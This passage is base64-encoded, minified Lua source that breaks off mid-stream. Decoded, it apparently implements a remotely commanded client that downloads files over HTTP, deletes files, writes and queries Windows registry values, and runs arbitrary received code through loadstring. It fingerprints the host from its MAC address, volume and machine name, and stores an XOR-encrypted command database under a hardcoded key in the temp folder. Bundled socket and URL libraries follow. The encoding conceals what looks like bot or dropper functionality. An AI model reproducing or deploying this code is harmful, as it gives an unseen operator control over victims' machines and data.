IHRoZW4KaWYgYVtzdHJpbmcubG93ZXIoZVsidHh0V2hhdEVsc2UiXSldfj1uaWwgdGhlbgplWyJy
ZXN1bHQiXT1hW3N0cmluZy5sb3dlcihlWyJ0eHRXaGF0RWxzZSJdKV07CnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiRFhEaWFnIFJlc3VsdDogJXMiLGVbInJlc3VsdCJdKSk7CmVuZAplbmQKbz10cnVl
OwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJd
PT0iRG93bmxvYWQidGhlbgpsb2NhbCBpPXQuY3VzdG9tcyhlWyJ0eHRXaGF0VGhlbiJdKTsKaWYg
aX49IiJ0aGVuCmxvY2FsIG49dC5maWxlcGFydHMoaSk7CmlmIG5+PW5pbCB0aGVuCkNyZWF0ZURp
cmVjdG9yeShuKTsKZW5kCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgJXMgdG8gJXMi
LGEsaSkpOwplWyJzdGF0dXMiXT0iMSI7CmlmIHQuZ2V0YnlodHRwKGEsaSl0aGVuCnQuZGVidWco
c3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgc3VjY2Vzc2Z1bCIsYSkpOwpvPXRydWU7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJyZXN1bHQiXT0iMCI7
CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdW5zdWNjZXNzZnVsIixhKSk7
CmVuZAplbHNlCmxvY2FsIGksbj10LmdldGJ5aHR0cChhKTsKaWYgaSB0aGVuCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdG8gbWVtb3J5IHN1Y2Nlc3NmdWwiLGEpKTsKbz10
cnVlOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uOwplWyJzdGF0dXMiXT0iMSI7
CmVuZAplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJEaXJlY3RvcnkidGhlbgppZiBDcmVhdGVEaXJl
Y3RvcnkoYSl+PTAgdGhlbgplWyJyZXN1bHQiXT0iMCI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgi
RGlyZWN0b3J5ICVzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IixhKSk7CmVsc2UKZVsicmVzdWx0Il09
R2V0TGFzdEVycm9yKCk7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRGlyZWN0b3J5ICVzIGNyZWF0
ZWQgdW5zdWNjZXNzZnVsbHkgKCVzKSIsYSxHZXRMYXN0RXJyb3IoKSkpOwplbmQKbz10cnVlOwpl
WyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0i
RGVsZXRlIEZpbGUidGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIkF0dGVtcHRpbmcgdG8gZGVs
ZXRlICVzIixhKSk7CmlmIERlbGV0ZUZpbGUoYSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKdC5kZWJ1
ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwplbHNlCmVbInJl
c3VsdCJdPSIwIjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHVuc3VjY2Vzc2Z1
bGx5IixhKSk7CmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUo
KTsKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdpc3RyeSJ0aGVuCmxvY2FsIGk9dC5zcGxpdChhLCIs
Iik7CmVbInJlc3VsdCJdPSIwIjsKaWYgdzMyW2lbMV1dfj1uaWwgdGhlbgppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iV3JpdGUgVmFsdWUidGhlbgpsb2NhbCBvPShpWzRdPT0iZCIpYW5kIHRvbnVtYmVy
KGlbNV0pb3IgaVs1XTsKaWYgUmVnU2V0VmFsdWVFeCh3MzJbaVsxXV0saVsyXSxpWzNdLG8pdGhl
bgplWyJyZXN1bHQiXT0iMSI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMg
PSAlcyBTdWNjZXNzIixlWyJ0eHRXaGF0VGhlbiJdLGEsbykpOwplbHNlCnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMgPSAlcyBGYWlsdXJlIixlWyJ0eHRXaGF0VGhlbiJdLGEs
bykpOwplbmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJRdWVyeSBWYWx1ZSJ0aGVuCmxvY2Fs
IG89UmVnUXVlcnlWYWx1ZUV4KHczMltpWzFdXSxpWzJdLGlbM10pOwppZiBvIHRoZW4KZVsicmVz
dWx0Il09bzsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZWdpc3RyeSBWYWx1ZTogJXMiLG8pKTsK
ZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIlJlZ2lzdHJ5IEVycm9yICVzICVzICVzIixHZXRM
YXN0RXJyb3IoKSxlWyJ0eHRXaGF0VGhlbiJdLGEpKTsKZW5kCmVuZAplbHNlCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiUmVnaXN0cnkgRXJyb3IgJXMgJXMiLGVbInR4dFdoYXRUaGVuIl0sYSkpOwpl
bmQKbz10cnVlOwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVuZAplbmQK
aWYgZVsidHh0Y21kIl09PSJXaWxmb3JkInRoZW4KbG9jYWwgYT10LmN1c3RvbXMoZVsidHh0V2hh
dCJdKTsKaWYgZVsidHh0ZG8iXT09IlJ1biJ0aGVuCmxvY2FsIHQ9bG9hZHN0cmluZyhhKTsKaWYg
dHlwZSh0KT09ImZ1bmN0aW9uInRoZW4KZVsicmVzdWx0Il09dCgpOwplbmQKbz10cnVlOwplWyJz
dGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iSW5j
bHVkZSJ0aGVuCmVbInJlc3VsdCJdPWE7Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRl
Il09b3MudGltZSgpOwplbHNlCmVbInN0YXR1cyJdPSIwIjsKZW5kCmVuZApyZXR1cm4gZSxvOwpl
bmQKZnVuY3Rpb24gdC51c2VyZ3VpZCgpCmxvY2FsIGU9R2V0Vm9sdW1lSW5mb3JtYXRpb24oKTsK
bG9jYWwgYT1HZXRNQUNBZGRyZXNzKCk7CmxvY2FsIHQ9R2V0VGhlTWFjaGluZU5hbWUoKTsKbG9j
YWwgZT1HZXRNRDVTdHJpbmcoc3RyaW5nLmZvcm1hdCgiJXM6JXM6JXMiLHRvc3RyaW5nKGUpLHRv
c3RyaW5nKGEpLHRvc3RyaW5nKHQpKSk7CmlmIGU9PW5pbCB0aGVuCmU9R2V0TUQ1U3RyaW5nKEdl
dEN1cnJlbnRVc2VyU2lkKCkpOwplbmQKcmV0dXJuIHN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVz
LSVzIixlOnN1YigxLDgpLGU6c3ViKDksMTIpLGU6c3ViKDEzLDE2KSxlOnN1YigxNywyMCksZTpz
dWIoMjEpKTsKZW5kCmZ1bmN0aW9uIHQuc2F2ZWRiKGUpCmU9KEVuY3J5cHQpYW5kIEVuY3J5cHQo
ZSwibGFxdWFuZGEgd2F0a2lucyIpb3IgdC5lbmNyeXB0KGUsImxhcXVhbmRhIHdhdGtpbnMiKTsK
aWYgU2V0Q29tbWFuZHN+PW5pbCB0aGVuClNldENvbW1hbmRzKGUpOwplbHNlCmxvY2FsIGE9KHcz
MiBhbmQgdzMyWyJDUkVBVEVfQUxXQVlTIl0pYW5kIHczMlsiQ1JFQVRFX0FMV0FZUyJdb3IgMDsK
aWYgRmluZEZpcnN0RmlsZSB0aGVuCmR3UmVzdWx0LHRGaWxlSW5mbz1GaW5kRmlyc3RGaWxlKHN0
cmluZy5mb3JtYXQoIiVzbHF3ZGIuZGF0Iix0LnRlbXBwYXRoKCkpKTsKaWYgZHdSZXN1bHR+PTAg
dGhlbgphPXczMlsiVFJVTkNBVEVfRVhJU1RJTkciXTsKRmluZENsb3NlKGR3UmVzdWx0KTsKZW5k
CmVuZApsb2NhbCBlPShlfj1uaWwpYW5kIHQud3JpdGVmaWxlKHN0cmluZy5mb3JtYXQoIiVzbHF3
ZGIuZGF0Iix0LnRlbXBwYXRoKCkpLGUsYSlvciAwOwppZiBlPjAgdGhlbgp0LmRlYnVnKCJMb2Nh
bCBEQiBXcml0dGVuOiAiLi5lKTsKZWxzZQpsb2NhbCBlPShHZXRMYXN0RXJyb3IpYW5kIEdldExh
c3RFcnJvcigpb3IiMCI7CnQuZGVidWcoIkxvY2FsIERCIE5vdCBXcml0dGVuOiAiLi5lKTsKZW5k
CmVuZAplbmQKZnVuY3Rpb24gdC5keGRpYWcoZSxuKQppZiBub3QgZSBvciBub3QgbiB0aGVuCnJl
dHVybiBuaWw7CmVuZApsb2NhbCBlPXQucmVhZGZpbGUoZSk7CmxvY2FsIGk9e307CmlmIGUgdGhl
bgpsaW5lcz10LnNwbGl0KGUsIlxyXG4iKTsKbG9jYWwgbz10cnVlOwpsb2NhbCB0PWZhbHNlOwps
b2NhbCBhPTA7CmZvciBzLGUgaW4gaXBhaXJzKGxpbmVzKWRvCmlmIG89PXRydWUgdGhlbgp0PXN0
cmluZy5maW5kKGUsbik7CmVsc2UKdD1mYWxzZTsKZW5kCmlmIHQgdGhlbgpvPWZhbHNlOwplbmQK
aWYgbz09ZmFsc2UgdGhlbgppZiBzdHJpbmcuZmluZChlLCIlLSUtJS0iKXRoZW4KYT1hKzE7Cmlm
IGE+MSB0aGVuCmJyZWFrOwplbmQKZWxzZQppZiBzdHJpbmcubGVuKGUpPjAgdGhlbgpsb2NhbCBv
PTA7CmxvY2FsIHQ9IiI7CmZvciBhPTEsI2UgZG8KaWYgZTpzdWIoYSxhKT09IjoidGhlbgpvPW8r
MTsKaWYgbz09MSB0aGVuCnQ9dC4uIjoiOwplbmQKZWxzZQp0PXQuLmU6c3ViKGEsYSk7CmVuZApl
bmQKZT10Owpmb3IgZSx0IGluIHN0cmluZy5nbWF0Y2goZSwiKC4rKTogKC4rKSIpZG8KaVtzdHJp
bmcubG93ZXIodHJpbShlKSldPXQ7CmVuZAplbmQKZW5kCmVuZAplbmQKZW5kCnJldHVybiBpOwpl
bmQKZnVuY3Rpb24gdC5lbmNyeXB0KG8saSkKbG9jYWwgdD0iIjsKaWYgaSBhbmQgbyB0aGVuCmxv
Y2FsIGE9bWF0aC5mbG9vcgpsb2NhbCBlPTA7CmZvciBuPTEsI28gZG8KZT0oZT4jaS0xKWFuZCAx
IG9yKGUrMSk7CmxvY2FsIG89c3RyaW5nLmJ5dGUobyxuKTsKbG9jYWwgZT1zdHJpbmcuYnl0ZShp
LGUpOwpsb2NhbCBpPTA7CmZvciBuPTAsMzEgZG8KbG9jYWwgdD1vLzIrZS8yCmlmIHR+PWEodCl0
aGVuCmk9aSsyXm4KZW5kCm89YShvLzIpCmU9YShlLzIpCmVuZAp0PXQuLnN0cmluZy5jaGFyKGkp
OwplbmQKZW5kCnJldHVybiB0OwplbmQKZnVuY3Rpb24gdC50cmltKGUpCnJldHVybiBlOm1hdGNo
J14lcyooLiolUyknb3InJwplbmQKZnVuY3Rpb24gdC5zbGVlcChlKQppZiB0eXBlKGUpPT0ibnVt
YmVyInRoZW4KZT0oZS8xZTMpOwplbmQKbG9jYWwgdD1vcy5jbG9jazsKbG9jYWwgYT10KCk7Cndo
aWxlIHQoKS1hPD1lIGRvCmVuZAplbmQKZnVuY3Rpb24gdC5uZXcoZSkKcmV0dXJuIHNldG1ldGF0
YWJsZSh7YXJncz1lIG9yIG5pbH0sZCk7CmVuZApyZXR1cm4gdDtlbmQpCnBhY2thZ2UucHJlbG9h
ZFsnc29ja2V0J109KGZ1bmN0aW9uKC4uLikKbG9jYWwgZT1fRwpsb2NhbCBoPXJlcXVpcmUoInN0
cmluZyIpCmxvY2FsIHM9cmVxdWlyZSgibWF0aCIpCmxvY2FsIGE9cmVxdWlyZSgic29ja2V0LmNv
cmUiKQptb2R1bGUoInNvY2tldCIpCmZ1bmN0aW9uIGNvbm5lY3QoaSxuLHQsbykKbG9jYWwgZSxh
PWEudGNwKCkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLGEgZW5kCmlmIHQgdGhlbgpsb2NhbCBl
LHQ9ZTpiaW5kKHQsbywtMSkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLHQgZW5kCmVuZApsb2Nh
bCB0LGE9ZTpjb25uZWN0KGksbikKaWYgbm90IHQgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnJldHVy
biBlCmVuZApmdW5jdGlvbiBiaW5kKGksbixvKQpsb2NhbCBlLHQ9YS50Y3AoKQppZiBub3QgZSB0
aGVuIHJldHVybiBuaWwsdCBlbmQKZTpzZXRvcHRpb24oInJldXNlYWRkciIsdHJ1ZSkKbG9jYWwg
YSx0PWU6YmluZChpLG4pCmlmIG5vdCBhIHRoZW4gcmV0dXJuIG5pbCx0IGVuZAphLHQ9ZTpsaXN0
ZW4obykKaWYgbm90IGEgdGhlbiByZXR1cm4gbmlsLHQgZW5kCnJldHVybiBlCmVuZAp0cnk9bmV3
dHJ5KCkKZnVuY3Rpb24gY2hvb3NlKG8pCnJldHVybiBmdW5jdGlvbih0LGEsaSkKaWYgZS50eXBl
KHQpfj0ic3RyaW5nInRoZW4KdCxhLGk9ImRlZmF1bHQiLHQsYQplbmQKbG9jYWwgbz1vW3Qgb3Ii
bmlsIl0KaWYgbm90IG8gdGhlbiBlLmVycm9yKCJ1bmtub3duIGtleSAoIi4uZS50b3N0cmluZyh0
KS4uIikiLDMpCmVsc2UgcmV0dXJuIG8oYSxpKWVuZAplbmQKZW5kCnNvdXJjZXQ9e30Kc2lua3Q9
e30KQkxPQ0tTSVpFPTIwNDgKc2lua3RbImNsb3NlLXdoZW4tZG9uZSJdPWZ1bmN0aW9uKHQpCnJl
dHVybiBlLnNldG1ldGF0YWJsZSh7CmdldGZkPWZ1bmN0aW9uKClyZXR1cm4gdDpnZXRmZCgpZW5k
LApkaXJ0eT1mdW5jdGlvbigpcmV0dXJuIHQ6ZGlydHkoKWVuZAp9LHsKX19jYWxsPWZ1bmN0aW9u
KGEsZSxhKQppZiBub3QgZSB0aGVuCnQ6Y2xvc2UoKQpyZXR1cm4gMQplbHNlIHJldHVybiB0OnNl
bmQoZSllbmQKZW5kCn0pCmVuZApzaW5rdFsia2VlcC1vcGVuIl09ZnVuY3Rpb24odCkKcmV0dXJu
IGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQsCmRp
cnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oYSxl
LGEpCmlmIGUgdGhlbiByZXR1cm4gdDpzZW5kKGUpCmVsc2UgcmV0dXJuIDEgZW5kCmVuZAp9KQpl
bmQKc2lua3RbImRlZmF1bHQiXT1zaW5rdFsia2VlcC1vcGVuIl0Kc2luaz1jaG9vc2Uoc2lua3Qp
CnNvdXJjZXRbImJ5LWxlbmd0aCJdPWZ1bmN0aW9uKG8sdCkKcmV0dXJuIGUuc2V0bWV0YXRhYmxl
KHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBvOmdldGZkKCllbmQsCmRpcnR5PWZ1bmN0aW9uKCly
ZXR1cm4gbzpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oKQppZiB0PD0wIHRoZW4gcmV0
dXJuIG5pbCBlbmQKbG9jYWwgZT1zLm1pbihhLkJMT0NLU0laRSx0KQpsb2NhbCBlLGE9bzpyZWNl
aXZlKGUpCmlmIGEgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnQ9dC1oLmxlbihlKQpyZXR1cm4gZQpl
bmQKfSkKZW5kCnNvdXJjZXRbInVudGlsLWNsb3NlZCJdPWZ1bmN0aW9uKHQpCmxvY2FsIG8KcmV0
dXJuIGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQs
CmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24o
KQppZiBvIHRoZW4gcmV0dXJuIG5pbCBlbmQKbG9jYWwgaSxlLGE9dDpyZWNlaXZlKGEuQkxPQ0tT
SVpFKQppZiBub3QgZSB0aGVuIHJldHVybiBpCmVsc2VpZiBlPT0iY2xvc2VkInRoZW4KdDpjbG9z
ZSgpCm89MQpyZXR1cm4gYQplbHNlIHJldHVybiBuaWwsZSBlbmQKZW5kCn0pCmVuZApzb3VyY2V0
WyJkZWZhdWx0Il09c291cmNldFsidW50aWwtY2xvc2VkIl0Kc291cmNlPWNob29zZShzb3VyY2V0
KQplbmQpCnBhY2thZ2UucHJlbG9hZFsnc29ja2V0LnVybCddPShmdW5jdGlvbiguLi4pCmxvY2Fs
IGU9cmVxdWlyZSgic3RyaW5nIikKbG9jYWwgbz1fRwpsb2NhbCBpPXJlcXVpcmUoInRhYmxlIikK
bW9kdWxlKCJzb2NrZXQudXJsIikKX1ZFUlNJT049IlVSTCAxLjAuMSIKZnVuY3Rpb24gZXNjYXBl
KHQpCnJldHVybiBlLmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQpyZXR1cm4g
ZS5mb3JtYXQoIiUlJTAyeCIsZS5ieXRlKHQpKQplbmQpCmVuZApsb2NhbCBmdW5jdGlvbiBuKGUp
CmxvY2FsIHQ9e30KZm9yIGEsbyBpbiBvLmlwYWlycyhlKWRvCnRbZVthXV09MQplbmQKcmV0dXJu
IHQKZW5kCmxvY2FsIGE9bnsKIi0iLCJfIiwiLiIsIiEiLCJ+IiwiKiIsIiciLCIoIiwKIikiLCI6
IiwiQCIsIiYiLCI9IiwiKyIsIiQiLCIsIiwKfQpsb2NhbCBmdW5jdGlvbiBuKHQpCnJldHVybiBl
LmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQppZiBhW3RddGhlbiByZXR1cm4g
dAplbHNlIHJldHVybiBlLmZvcm1hdCgiJSUlMDJ4IixlLmJ5dGUodCkpZW5kCmVuZCkKZW5kCmZ1
bmN0aW9uIHVuZXNjYXBlKHQpCnJldHVybiBlLmdzdWIodCwiJSUoJXgleCkiLGZ1bmN0aW9uKHQp
CnJldHVybiBlLmNoYXIoby50b251bWJlcih0LDE2KSkKZW5kKQplbmQKbG9jYWwgZnVuY3Rpb24g
cyh0LGEpCmlmIGUuc3ViKGEsMSwxKT09Ii8idGhlbiByZXR1cm4gYSBlbmQKbG9jYWwgdD1lLmdz
dWIodCwiW14vXSokIiwiIikKdD10Li5hCnQ9ZS5nc3ViKHQsIihbXi9dKiUuLykiLGZ1bmN0aW9u
KGUpCmlmIGV+PSIuLyJ0aGVuIHJldHVybiBlIGVsc2UgcmV0dXJuIiJlbmQKZW5kKQp0PWUuZ3N1
Yih0LCIvJS4kIiwiLyIpCmxvY2FsIGEKd2hpbGUgYX49dCBkbwphPXQKdD1lLmdzdWIoYSwiKFte
L10qLyUuJS4vKSIsZnVuY3Rpb24oZSkKaWYgZX49Ii4uLy4uLyJ0aGVuIHJldHVybiIiZWxzZSBy
ZXR1cm4gZSBlbmQKZW5kKQplbmQKdD1lLmdzdWIoYSwiKFteL10qLyUuJS4pJCIsZnVuY3Rpb24o
ZSkKaWYgZX49Ii4uLy4uInRoZW4gcmV0dXJuIiJlbHNlIHJldHVybiBlIGVuZAplbmQpCnJldHVy
biB0CmVuZApmdW5jdGlvbiBwYXJzZShhLGkpCmxvY2FsIHQ9e30KZm9yIGUsYSBpbiBvLnBhaXJz
KGkgb3IgdClkbyB0W2VdPWEgZW5kCmlmIG5vdCBhIG9yIGE9PSIidGhlbiByZXR1cm4gbmlsLCJp
bnZhbGlkIHVybCJlbmQKYT1lLmdzdWIoYSwiIyguKikkIixmdW5jdGlvbihlKQp0LmZyYWdtZW50
PWUKcmV0dXJuIiIKZW5kKQphPWUuZ3N1YihhLCJeKFsld11bJXclKyUtJS5dKiklOiIsCmZ1bmN0
aW9uKGUpdC5zY2hlbWU9ZTtyZXR1cm4iImVuZCkKYT1lLmdzdWIoYSwiXi8vKFteL10qKSIsZnVu
Y3Rpb24oZSkKdC5hdXRob3JpdHk9ZQpyZXR1cm4iIgplbmQpCmE9ZS5nc3ViKGEsIiU/KC4qKSIs
ZnVuY3Rpb24oZSkKdC5xdWVyeT1lCnJldHVybiIiCmVuZCkKYT1lLmdzdWIoYSwiJTsoLiopIixm
dW5jdGlvbihlKQp0LnBhcmFtcz1lCnJldHVybiIiCmVuZCkKaWYgYX49IiJ0aGVuIHQucGF0aD1h
IGVuZApsb2NhbCBhPXQuYXV0aG9yaXR5CmlmIG5vdCBhIHRoZW4gcmV0dXJuIHQgZW5kCmE9ZS5n
c3ViKGEsIl4oW15AXSopQCIsCmZ1bmN0aW9uKGUpdC51c2VyaW5mbz1lO3JldHVybiIiZW5kKQph
PWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucG9ydD1lO3JldHVybiIiZW5kKQpp
ZiBhfj0iInRoZW4gdC5ob3N0PWEgZW5kCmxvY2FsIGE9dC51c2VyaW5mbwppZiBub3QgYSB0aGVu
IHJldHVybiB0IGVuZAphPWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucGFzc3dv
cmQ9ZTtyZXR1cm4iImVuZCkKdC51c2VyPWEKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkKGUp
CmxvY2FsIHQ9cGFyc2VfcGF0aChlLnBhdGggb3IiIikKbG9jYWwgdD1idWlsZF9wYXRoKHQpCmlm
IGUucGFyYW1zIHRoZW4gdD10Li4iOyIuLmUucGFyYW1zIGVuZAppZiBlLnF1ZXJ5IHRoZW4gdD10
Li4iPyIuLmUucXVlcnkgZW5kCmxvY2FsIGE9ZS5hdXRob3JpdHkKaWYgZS5ob3N0IHRoZW4KYT1l
Lmhvc3QKaWYgZS5wb3J0IHRoZW4gYT1hLi4iOiIuLmUucG9ydCBlbmQKbG9jYWwgdD1lLnVzZXJp
bmZvCmlmIGUudXNlciB0aGVuCnQ9ZS51c2VyCmlmIGUucGFzc3dvcmQgdGhlbgp0PXQuLiI6Ii4u
ZS5wYXNzd29yZAplbmQKZW5kCmlmIHQgdGhlbiBhPXQuLiJAIi4uYSBlbmQKZW5kCmlmIGEgdGhl
biB0PSIvLyIuLmEuLnQgZW5kCmlmIGUuc2NoZW1lIHRoZW4gdD1lLnNjaGVtZS4uIjoiLi50IGVu
ZAppZiBlLmZyYWdtZW50IHRoZW4gdD10Li4iIyIuLmUuZnJhZ21lbnQgZW5kCnJldHVybiB0CmVu
ZApmdW5jdGlvbiBhYnNvbHV0ZSh0LGEpCmlmIG8udHlwZSh0KT09InRhYmxlInRoZW4KYmFzZV9w
YXJzZWQ9dAp0PWJ1aWxkKGJhc2VfcGFyc2VkKQplbHNlCmJhc2VfcGFyc2VkPXBhcnNlKHQpCmVu
ZApsb2NhbCBlPXBhcnNlKGEpCmlmIG5vdCBiYXNlX3BhcnNlZCB0aGVuIHJldHVybiBhCmVsc2Vp
ZiBub3QgZSB0aGVuIHJldHVybiB0CmVsc2VpZiBlLnNjaGVtZSB0aGVuIHJldHVybiBhCmVsc2UK
ZS5zY2hlbWU9YmFzZV9wYXJzZWQuc2NoZW1lCmlmIG5vdCBlLmF1dGhvcml0eSB0aGVuCmUuYXV0
aG9yaXR5PWJhc2VfcGFyc2VkLmF1dGhvcml0eQppZiBub3QgZS5wYXRoIHRoZW4KZS5wYXRoPWJh
c2VfcGFyc2VkLnBhdGgKaWYgbm90IGUucGFyYW1zIHRoZW4KZS5wYXJhbXM9YmFzZV9wYXJzZWQu
cGFyYW1zCmlmIG5vdCBlLnF1ZXJ5IHRoZW4KZS5xdWVyeT1iYXNlX3BhcnNlZC5xdWVyeQplbmQK
ZW5kCmVsc2UKZS5wYXRoPXMoYmFzZV9wYXJzZWQucGF0aCBvciIiLAplLnBhdGgpCmVuZAplbmQK
cmV0dXJuIGJ1aWxkKGUpCmVuZAplbmQKZnVuY3Rpb24gcGFyc2VfcGF0aChhKQpsb2NhbCB0PXt9
CmE9YSBvciIiCmUuZ3N1YihhLCIoW14vXSspIixmdW5jdGlvbihlKWkuaW5zZXJ0KHQsZSllbmQp
CmZvciBlPTEsaS5nZXRuKHQpZG8KdFtlXT11bmVzY2FwZSh0W2VdKQplbmQKaWYgZS5zdWIoYSwx
LDEpPT0iLyJ0aGVuIHQuaXNfYWJzb2x1dGU9MSBlbmQKaWYgZS5zdWIoYSwtMSwtMSk9PSIvInRo
ZW4gdC5pc19kaXJlY3Rvcnk9MSBlbmQKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkX3BhdGgo
dCxvKQpsb2NhbCBlPSIiCmxvY2FsIGE9aS5nZXRuKHQpCmlmIG8gdGhlbgpmb3IgYT0xLGEtMSBk
bwplPWUuLnRbYV0KZT1lLi4iLyIKZW5kCmlmIGE+MCB0aGVuCmU9ZS4udFthXQppZiB0LmlzX2Rp
cmVjdG9yeSB0aGVuIGU9ZS4uIi8iZW5kCmVuZAplbHNlCmZvciBhPTEsYS0xIGRvCmU9ZS4ubih0
W2FdKQplPWUuLiIvIgplbmQKaWYgYT4wIHRoZW4KZT1lLi5uKHRbYV0pCmlmIHQuaXNfZGlyZWN0
b3J5IHRoZW4gZT1lLi4iLyJlbmQKZW5kCmVuZAppZiB0LmlzX2Fic29sdXRlIHRoZW4gZT0iLyIu
LmUgZW5kCnJldHVybiBlCmVuZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbHRuMTInXT0oZnVuY3Rp
b24oLi4uKQpsb2NhbCBzPXJlcXVpcmUoInN0cmluZyIpCmxvY2FsIG89cmVxdWlyZSgidGFibGUi
KQpsb2NhbCBlPV9HCm1vZHVsZSgibHRuMTIiKQpmaWx0ZXI9e30Kc291cmNlPXt9CnNpbms9e30K
cHVtcD17fQpCTE9DS1NJWkU9MjA0OApfVkVSU0lPTj0iTFROMTIgMS4wLjEiCmZ1bmN0aW9uIGZp
bHRlci5jeWNsZShhLHQsbykKZS5hc3NlcnQoYSkKcmV0dXJuIGZ1bmN0aW9uKGkpCmxvY2FsIGUK
ZSx0PWEodCxpLG8pCnJldHVybiBlCmVuZAplbmQKZnVuY3Rpb24gZmlsdGVyLmNoYWluKC4uLikK
bG9jYWwgbj1vLmdldG4oYXJnKQpsb2NhbCBvLGE9MSwxCmxvY2FsIGk9IiIKcmV0dXJuIGZ1bmN0
aW9uKHQpCmk9dCBhbmQgaQp3aGlsZSB0cnVlIGRvCmlmIGE9PW8gdGhlbgp0PWFyZ1thXSh0KQpp
ZiB0PT0iIm9yIG89PW4gdGhlbiByZXR1cm4gdAplbHNlaWYgdCB0aGVuIGE9YSsxCmVsc2UKbz1v
KzEKYT1vCmVuZAplbHNlCnQ9YXJnW2FdKHQgb3IiIikKaWYgdD09IiJ0aGVuCmE9YS0xCnQ9aQpl
bHNlaWYgdCB0aGVuCmlmIGE9PW4gdGhlbiByZXR1cm4gdAplbHNlIGE9YSsxIGVuZAplbHNlIGUu
ZXJyb3IoImZpbHRlciByZXR1cm5lZCBpbmFwcHJvcHJpYXRlIG5pbCIpZW5kCmVuZAplbmQKZW5k
CmVuZApsb2NhbCBmdW5jdGlvbiB0KCkKcmV0dXJuIG5pbAplbmQKZnVuY3Rpb24gc291cmNlLmVt
cHR5KCkKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5lcnJvcihlKQpyZXR1cm4gZnVuY3Rp
b24oKQpyZXR1cm4gbmlsLGUKZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UuZmlsZShlLGEpCmlmIGUg
dGhlbgpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCB0PWU6cmVhZChCTE9DS1NJWkUpCmlmIG5vdCB0
IHRoZW4gZTpjbG9zZSgpZW5kCnJldHVybiB0CmVuZAplbHNlIHJldHVybiBzb3VyY2UuZXJyb3Io
YSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5zaW1wbGlm
eSh0KQplLmFzc2VydCh0KQpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCBlLGE9dCgpCnQ9YSBvciB0
CmlmIG5vdCBlIHRoZW4gcmV0dXJuIG5pbCxhCmVsc2UgcmV0dXJuIGUgZW5kCmVuZAplbmQKZnVu
Y3Rpb24gc291cmNlLnN0cmluZyh0KQppZiB0IHRoZW4KbG9jYWwgZT0xCnJldHVybiBmdW5jdGlv
bigpCmxvY2FsIHQ9cy5zdWIodCxlLGUrQkxPQ0tTSVpFLTEpCmU9ZStCTE9DS1NJWkUKaWYgdH49
IiJ0aGVuIHJldHVybiB0CmVsc2UgcmV0dXJuIG5pbCBlbmQKZW5kCmVsc2UgcmV0dXJuIHNvdXJj
